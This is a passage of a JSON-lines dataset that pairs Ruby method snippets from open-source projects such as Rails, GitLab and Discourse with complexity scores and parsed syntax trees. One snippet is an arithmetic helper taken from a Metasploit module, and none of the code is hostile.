,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"encoder\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]},\"downcase\"]},\"intern\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENCODERS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"encoder\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENCODERS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]}]}]},null]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"88cfb5b1-1397-4985-b02a-24204ef009c1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/collection_association.rb","start_line":209,"raw_source":"def size\n        if !find_target? || loaded?\n          target.size\n        elsif @association_ids\n          @association_ids.size\n        elsif !association_scope.group_values.empty?\n          load_target.size\n        elsif !association_scope.distinct_value && !target.empty?\n          unsaved_records = target.select(&:new_record?)\n          unsaved_records.size + count_records\n        else\n          count_records\n        end\n      end","complexity_score":45.1,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_target?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"loaded?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"size\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@association_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@association_ids\"]},\"size\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"association_scope\"]},\"group_values\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_target\"]},\"size\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"association_scope\"]},\"distinct_value\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unsaved_records\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_record?\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unsaved_records\"]},\"size\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"count_records\"]}]}]},{\"type\":\"send\",\"children\":[null,\"count_records\"]}]}]}]}]}]}","id":"085d5341-8803-4365-84f9-729b8ebb4a00"}
{"repo_name":"forem","file_path":"./repos/forem/vendor/cache/acts_as_follower-06393d3693a1/lib/acts_as_follower/followable.rb","start_line":62,"raw_source":"def blocked_followers_count\n        self.followings.blocked.count\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"blocked_followers_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"followings\"]},\"blocked\"]},\"count\"]}]}","id":"703075b7-dc5f-4b56-bb7f-fe8ff326b27e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/base_create_service.rb","start_line":67,"raw_source":"def transaction_create(new_work_item)\n        super.tap do |save_result|\n          break save_result unless save_result\n\n          if operation == :move\n            ::WorkItems::DataSync::MoveService.transaction_callback(new_work_item, original_work_item, current_user)\n          elsif operation == :promote\n            ::WorkItems::LegacyEpics::IssuePromoteService.transaction_callback(new_work_item, original_work_item,\n              current_user)\n          else\n            ::WorkItems::DataSync::CloneService.transaction_callback(new_work_item, original_work_item, current_user)\n          end\n        end\n      end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"transaction_create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_work_item\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"save_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"save_result\"]},null,{\"type\":\"break\",\"children\":[{\"type\":\"lvar\",\"children\":[\"save_result\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operation\"]},\"==\",{\"type\":\"sym\",\"children\":[\"move\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"DataSync\"]},\"MoveService\"]},\"transaction_callback\",{\"type\":\"lvar\",\"children\":[\"new_work_item\"]},{\"type\":\"send\",\"children\":[null,\"original_work_item\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operation\"]},\"==\",{\"type\":\"sym\",\"children\":[\"promote\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"LegacyEpics\"]},\"IssuePromoteService\"]},\"transaction_callback\",{\"type\":\"lvar\",\"children\":[\"new_work_item\"]},{\"type\":\"send\",\"children\":[null,\"original_work_item\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"DataSync\"]},\"CloneService\"]},\"transaction_callback\",{\"type\":\"lvar\",\"children\":[\"new_work_item\"]},{\"type\":\"send\",\"children\":[null,\"original_work_item\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]}]}","id":"c55d2104-f290-46f4-bf1f-d33170789d0a"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/scaffold_controller_generator_test.rb","start_line":299,"raw_source":"def test_api_only_generates_a_proper_api_controller\n    run_generator [\"User\", \"--api\"]\n\n    assert_file \"app/controllers/users_controller.rb\" do |content|\n      assert_match(/class UsersController < ApplicationController/, content)\n      assert_no_match(/respond_to/, content)\n\n      assert_match(/before_action :set_user, only: %i\\[ show update destroy \\]/, content)\n\n      assert_instance_method :index, content do |m|\n        assert_match(/@users = User\\.all/, m)\n        assert_match(/render json: @users/, m)\n      end\n\n      assert_instance_method :show, content do |m|\n        assert_match(/render json: @user/, m)\n      end\n\n      assert_instance_method :create, content do |m|\n        assert_match(/@user = User\\.new\\(user_params\\)/, m)\n        assert_match(/@user\\.save/, m)\n        assert_match(/@user\\.errors/, m)\n      end\n\n      assert_instance_method :update, content do |m|\n        assert_match(/@user\\.update\\(user_params\\)/, m)\n        assert_match(/@user\\.errors/, m)\n      end\n\n      assert_instance_method :destroy, content do |m|\n        assert_match(/@user\\.destroy/, m)\n      end\n    end\n\n    assert_no_file \"app/views/users/index.html.erb\"\n    assert_no_file \"app/views/users/edit.html.erb\"\n    assert_no_file \"app/views/users/show.html.erb\"\n    assert_no_file \"app/views/users/new.html.erb\"\n    assert_no_file \"app/views/users/_form.html.erb\"\n  end","complexity_score":36.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_api_only_generates_a_proper_api_controller\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"User\"]},{\"type\":\"str\",\"children\":[\"--api\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"class UsersController < ApplicationController\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"respond_to\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"before_action :set_user, only: %i\\\\[ show update destroy \\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"@users = User\\\\.all\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"render json: @users\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"render json: @user\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"m\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"@user = User\\\\.new\\\\(user_params\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"@user\\\\.save\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"@user\\\\.errors\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"@user\\\\.update\\\\(user_params\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"@user\\\\.errors\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"destroy\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"@user\\\\.destroy\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/views/users/index.html.erb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/views/users/edit.html.erb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/views/users/show.html.erb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/views/users/new.html.erb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/views/users/_form.html.erb\"]}]}]}]}","id":"470beb8f-e49f-4036-996f-36d29d9747f9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/source/seed_file.rb","start_line":53,"raw_source":"def initialize(path)\n    @path = Rails.root.join(path)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"01b0be4d-28c5-4d32-ac4d-6d64213190bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/json/ndjson_reader.rb","start_line":49,"raw_source":"def json_decode(string)\n          Gitlab::Json.parse(string)\n        rescue JSON::ParserError => e\n          Gitlab::ErrorTracking.log_exception(e)\n          raise Gitlab::ImportExport::Error, 'Incorrect JSON format'\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"json_decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"log_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Error\"]},{\"type\":\"str\",\"children\":[\"Incorrect JSON format\"]}]}]}]},null]}]}","id":"9a3f6630-a9c8-461d-8c39-d7ab2805dca1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/menus/project_information_menu.rb","start_line":8,"raw_source":"def configure_menu_items\n          add_item(activity_menu_item)\n          add_item(labels_menu_item)\n          add_item(members_menu_item)\n\n          true\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_menu_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_item\",{\"type\":\"send\",\"children\":[null,\"activity_menu_item\"]}]},{\"type\":\"send\",\"children\":[null,\"add_item\",{\"type\":\"send\",\"children\":[null,\"labels_menu_item\"]}]},{\"type\":\"send\",\"children\":[null,\"add_item\",{\"type\":\"send\",\"children\":[null,\"members_menu_item\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"2599c0a3-4a75-43c6-992c-4b4cfa73e1fd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/suggestion_filter.rb","start_line":31,"raw_source":"def project\n        context[:project]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]}]}","id":"90cbe6af-f669-4207-b371-9b8fb328adaa"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/presence_channel.rb","start_line":230,"raw_source":"def self.clear_all!\n    channels = PresenceChannel.redis.zrangebyscore(redis_key_channel_list, \"-inf\", \"+inf\")\n    channels.each { |name| new(name, raise_not_found: false).clear }\n\n    config_cache_keys =\n      PresenceChannel\n        .redis\n        .scan_each(match: Discourse.redis.namespace_key(\"_presence_*_config\"))\n        .to_a\n    PresenceChannel.redis.del(*config_cache_keys) if config_cache_keys.present?\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clear_all!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channels\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PresenceChannel\"]},\"redis\"]},\"zrangebyscore\",{\"type\":\"send\",\"children\":[null,\"redis_key_channel_list\"]},{\"type\":\"str\",\"children\":[\"-inf\"]},{\"type\":\"str\",\"children\":[\"+inf\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channels\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_not_found\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"clear\"]}]},{\"type\":\"lvasgn\",\"children\":[\"config_cache_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PresenceChannel\"]},\"redis\"]},\"scan_each\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"namespace_key\",{\"type\":\"str\",\"children\":[\"_presence_*_config\"]}]}]}]}]},\"to_a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_cache_keys\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PresenceChannel\"]},\"redis\"]},\"del\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_cache_keys\"]}]}]},null]}]}]}","id":"6027162d-9cd0-40e6-adf9-6818ac6310a9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb","start_line":951,"raw_source":"def store(data_block)\n    a1 = data_block.pack(\"V*\")\n    val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1\n    val & 0xffffffff\n  end","complexity_score":91.35,"ast_json":"{\"type\":\"def\",\"children\":[\"store\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data_block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"a1\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_block\"]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[16]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[16]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[16]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[16]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[16]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[16]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a1\"]},\"[]\",{\"type\":\"int\",\"children\":[7]}]},\"ord\"]}]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a1\"]},\"[]\",{\"type\":\"int\",\"children\":[6]}]},\"ord\"]}]}]}]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a1\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]},\"ord\"]}]}]}]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a1\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},\"ord\"]}]}]}]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a1\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"ord\"]}]}]}]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a1\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"ord\"]}]}]}]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a1\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"ord\"]}]}]}]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a1\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"ord\"]},\">>\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"&\",{\"type\":\"int\",\"children\":[4294967295]}]}]}]}","id":"5000229a-b751-451a-a4b3-f698e66fa802"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/design_management/design_resolver.rb","start_line":34,"raw_source":"def build_finder(params)\n        ::DesignManagement::DesignsFinder.new(issue, current_user, params)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_finder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"DesignManagement\"]},\"DesignsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"issue\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"e16ada19-2ae5-4e2a-b070-1c65fdd70123"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/persistence_test.rb","start_line":763,"raw_source":"def test_update_for_record_with_only_primary_key\n    minimalistic = minimalistics(:first)\n    assert_nothing_raised { minimalistic.save }\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_for_record_with_only_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"minimalistic\",{\"type\":\"send\",\"children\":[null,\"minimalistics\",{\"type\":\"sym\",\"children\":[\"first\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minimalistic\"]},\"save\"]}]}]}]}","id":"0b1bb814-f63e-443a-aae0-851681119086"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/message_encryptor_test.rb","start_line":66,"raw_source":"def test_alternative_serialization_method\n    prev = ActiveSupport.use_standard_json_time_format\n    ActiveSupport.use_standard_json_time_format = true\n    encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.random_bytes(32), SecureRandom.random_bytes(128), serializer: JSONSerializer.new)\n    message = encryptor.encrypt_and_sign({ :foo => 123, \"bar\" => Time.utc(2010) })\n    exp = { \"foo\" => 123, \"bar\" => \"2010-01-01T00:00:00.000Z\" }\n    assert_equal exp, encryptor.decrypt_and_verify(message)\n  ensure\n    ActiveSupport.use_standard_json_time_format = prev\n  end","complexity_score":19.13,"ast_json":"{\"type\":\"def\",\"children\":[\"test_alternative_serialization_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prev\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"use_standard_json_time_format\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"use_standard_json_time_format=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"encryptor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"MessageEncryptor\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"random_bytes\",{\"type\":\"int\",\"children\":[32]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"random_bytes\",{\"type\":\"int\",\"children\":[128]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSONSerializer\"]},\"new\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encryptor\"]},\"encrypt_and_sign\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"int\",\"children\":[123]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2010]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exp\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"int\",\"children\":[123]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"